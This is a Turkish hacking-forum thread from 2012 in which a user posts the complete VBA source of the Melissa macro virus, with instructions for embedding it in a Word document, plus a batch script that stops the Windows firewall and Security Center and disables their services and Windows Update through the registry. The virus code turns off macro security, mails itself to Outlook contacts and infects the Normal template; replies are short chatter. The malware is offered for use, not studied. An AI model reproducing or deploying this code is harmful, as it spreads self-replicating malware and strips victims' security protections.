THT DUYURU

chat
Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

ugursuz reklam
takipci
Seçenekler

Melissa Virüsü. Microsoft Word Kodları... Visual Basic Gereklidir.

coop026 - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
10/2011
Nereden:
Eskişehir
Mesajlar:
241
Konular:
131
Teşekkür (Etti):
17
Teşekkür (Aldı):
35
Ticaret:
(0) %
5
1364
07-01-2012 21:31
#1
2 sene önce dünya bilgisayar piyasasını altüst eden bir virüs.
Yapımı:
Bir Microsft Word belgesi açyoruz.Daha sonra yeni belge açıp Alt + f11'e basarak Microsoft Visual Basic'i açıyoruz
Project 1 / Microsoft Word objects / This ******** seklinde 3 lü bir seçim geliyor karşımıza...
This ********i seçmeliyiz bu aşamada. Seçimi yaptıktan sonra asagıda verilmış olan Melısssa kodlarını yapıştırıyoruz ve kaydediyoruz bu belgeyi.
Melissa Visuel Basic virüsüdür. .Exe olamaması bunu inandırma oranını 100 de 100 arttırr.

Private Sub ********_Open() ' Writted By eXit
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that ******** you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add Active********.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") = "... by Kwyjibo"
End If


Set ADI1 = Active********.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") = False) Then
Active********.SaveAs FileName:=Active********.FullName
ElseIf (InStr(1, Active********.Name, "********") <> False) Then
Active********.Saved = True
End If

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub

__________________________________________________ __________
2. Virüs
__________________________________________________ __________
GUVENLIK DUVARINI SİLME ! FORMATTAN SONRA AKTİF OLMAZ !!

@echo off
net stop "Security Center"
net stop SharedAccess
> "%Temp%.\kill.reg" ECHO A R E S
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\SharedAccess]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\wuauserv]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\w scsvc]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\kill.reg"
DEL "%Temp%.\kill.reg"
DEL %0
hackera1775 - ait Kullanıcı Resmi (Avatar)
Hesap Askıya Alındı
Üyelik tarihi:
07/2012
Mesajlar:
231
Konular:
37
Teşekkür (Etti):
103
Teşekkür (Aldı):
12
Ticaret:
(0) %
14-07-2012 11:07
#2
eksik bilgi ******* ne bunlar
hajking - ait Kullanıcı Resmi (Avatar)
Hesap Askıya Alındı
Üyelik tarihi:
01/2012
Nereden:
İstanbul
Yaş:
23
Mesajlar:
774
Konular:
26
Teşekkür (Etti):
7
Teşekkür (Aldı):
95
Ticaret:
(0) %
14-07-2012 11:35
#3
melissa virüsünü doğru demişinde inandırma oranını arttırsada office programında buna karşı önlemler var mesela wordde bi kod yazdın bilgisayarda açılınca soruyo bunun içinde kodlarvar kodlar çalıştırılsınmı diye
hackera1775 - ait Kullanıcı Resmi (Avatar)
Hesap Askıya Alındı
Üyelik tarihi:
07/2012
Mesajlar:
231
Konular:
37
Teşekkür (Etti):
103
Teşekkür (Aldı):
12
Ticaret:
(0) %
14-07-2012 11:41
#4
Komutanım emriniz altına girebilirmiyim
hackera1775 - ait Kullanıcı Resmi (Avatar)
Hesap Askıya Alındı
Üyelik tarihi:
07/2012
Mesajlar:
231
Konular:
37
Teşekkür (Etti):
103
Teşekkür (Aldı):
12
Ticaret:
(0) %
14-07-2012 11:42
#5
bir onurdur benim için emriniz altına girmek
Konu hackera1775 tarafından (14-07-2012 11:44 Saat 11:44 ) değiştirilmiştir.
hajking - ait Kullanıcı Resmi (Avatar)
Hesap Askıya Alındı
Üyelik tarihi:
01/2012
Nereden:
İstanbul
Yaş:
23
Mesajlar:
774
Konular:
26
Teşekkür (Etti):
7
Teşekkür (Aldı):
95
Ticaret:
(0) %
14-07-2012 12:21
#6
kimin emri altına

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler